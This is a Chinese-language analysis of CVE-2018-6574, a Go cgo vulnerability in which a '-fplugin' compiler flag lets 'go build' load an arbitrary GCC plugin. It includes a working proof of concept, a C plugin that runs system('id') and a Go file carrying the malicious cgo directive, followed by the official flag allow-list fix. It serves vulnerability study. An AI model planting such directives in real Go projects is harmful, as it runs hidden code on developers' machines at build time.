CVE-2018-6574(Go 语言任意代码执行漏洞)分析

Table of Contents

1. 测试环境

软件 版本
操作系统 CentOS 7.4
GCC 4.8.5
Go 1.9.3

Go 1.9.3 下载地址:https://dl.google.com/go/go1.9.3.linux-386.tar.gz

2. 漏洞分析

Go 语言支持内嵌 C 语言代码的功能,若是将 C 代码放在注释中,Go 编译时会调用 cgo 来处理 C 代码。举一个例子:

// filename: test.go

package main

/*
#include <stdio.h>

void hello_world(){
    printf("hello world\n");
}
*/
import "C"

func main() {
    C.hello_world()
}

编译、执行如下:

$ go build test.go
$ ./test
hello world

对于 cgo,支持指定 GCC 的参数,详细可见 cgo 的文档:https://golang.org/cmd/cgo/

但是 cgo 没有对参数进行任何限制,本次漏洞利用,就用到了 GCC 的插件功能,指定 -fplugin 参数可在编译过程中指定加载其他 .so 文件,因此达到了执行任意代码的目的。

首先,我们先写一个动态链接库来做 GCC 的插件:

/*
compile: gcc -shared -o poc.so -fPIC poc.c
*/

#include <stdlib.h>

int plugin_is_GPL_compatible = 1;

void plugin_init() {
    system("id");
}

然后编译:

$ gcc -shared -o poc.so -fPIC poc.c

接修改 test.go,并在注释里加上编译选项:

#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so

修改之后的完整代码如下:

// filename: test.go

package main

/*
#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so
#include <stdio.h>

void hello_world(){
    printf("hello world\n");
}
*/
import "C"

func main() {
    C.hello_world()
}

最后编译 Go 代码:

$ go build test.go
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

可见成功加载了之前编译的动态链接库,并执行了 id 命令。

3. 官方修复补丁

修复公告见:https://github.com/golang/go/issues/23672

以 1.9.4 补丁为例,主要在 src/cmd/go/internal/work/security.go 增加了对编译选项的限制,只允许使用部分编译选项:

var validCompilerFlags = []*regexp.Regexp{
	re(`-D([A-Za-z_].*)`),
	re(`-I([^@\-].*)`),
	re(`-O`),
	re(`-O([^@\-].*)`),
	re(`-W`),
	re(`-W([^@,]+)`), // -Wall but not -Wa,-foo.
	re(`-f(no-)?objc-arc`),
	re(`-f(no-)?omit-frame-pointer`),
	re(`-f(no-)?(pic|PIC|pie|PIE)`),
	re(`-f(no-)?split-stack`),
	re(`-f(no-)?stack-(.+)`),
	re(`-f(no-)?strict-aliasing`),
	re(`-fsanitize=(.+)`),
	re(`-g([^@\-].*)?`),
	re(`-m(arch|cpu|fpu|tune)=([^@\-].*)`),
	re(`-m(no-)?stack-(.+)`),
	re(`-mmacosx-(.+)`),
	re(`-mnop-fun-dllimport`),
	re(`-pthread`),
	re(`-std=([^@\-].*)`),
	re(`-x([^@\-].*)`),
}

checkCompilerFlags 函数用来验证编译选项,它会把定义在 validCompilerFlags 里的规则最终传递到 checkFlags 函数来验证。

checkFlags 会根据环境变量定义的规则以及 validCompilerFlags 定义的规则来判断编译选项的合法性。两个函数实现如下:

func checkCompilerFlags(name, source string, list []string) error {
	return checkFlags(name, source, list, validCompilerFlags, validCompilerFlagsWithNextArg)
}

func checkFlags(name, source string, list []string, valid []*regexp.Regexp, validNext []string) error {
	var (
		allow    *regexp.Regexp
		disallow *regexp.Regexp
	)

	// 从环境变量中获取允许的编译选项
	if env := os.Getenv("CGO_" + name + "_ALLOW"); env != "" {
		r, err := regexp.Compile(env)
		if err != nil {
			return fmt.Errorf("parsing $CGO_%s_ALLOW: %v", name, err)
		}
		allow = r
	}

	// 从环境变量中获取禁止使用的编译选项
	if env := os.Getenv("CGO_" + name + "_DISALLOW"); env != "" {
		r, err := regexp.Compile(env)
		if err != nil {
			return fmt.Errorf("parsing $CGO_%s_DISALLOW: %v", name, err)
		}
		disallow = r
	}

Args:
	for i := 0; i < len(list); i++ {
		arg := list[i]
		// 检查环境变量指定的黑名单
		if disallow != nil && disallow.FindString(arg) == arg {
			goto Bad
		}
		// 检查环境变量指定的白名单
		if allow != nil && allow.FindString(arg) == arg {
			continue Args
		}
		// 后面就是检查 Go 默认允许的编译选项了
		for _, re := range valid {
			if re.FindString(arg) == arg {
				continue Args
			}
		}
		for _, x := range validNext {
			if arg == x {
				if i+1 < len(list) && load.SafeArg(list[i+1]) {
					i++
					continue Args
				}
				if i+1 < len(list) {
					return fmt.Errorf("invalid flag in %s: %s %s", source, arg, list[i+1])
				}
				return fmt.Errorf("invalid flag in %s: %s without argument", source, arg)
			}
		}
	Bad:
		return fmt.Errorf("invalid flag in %s: %s", source, arg)
	}
	return nil
}

4. 参考链接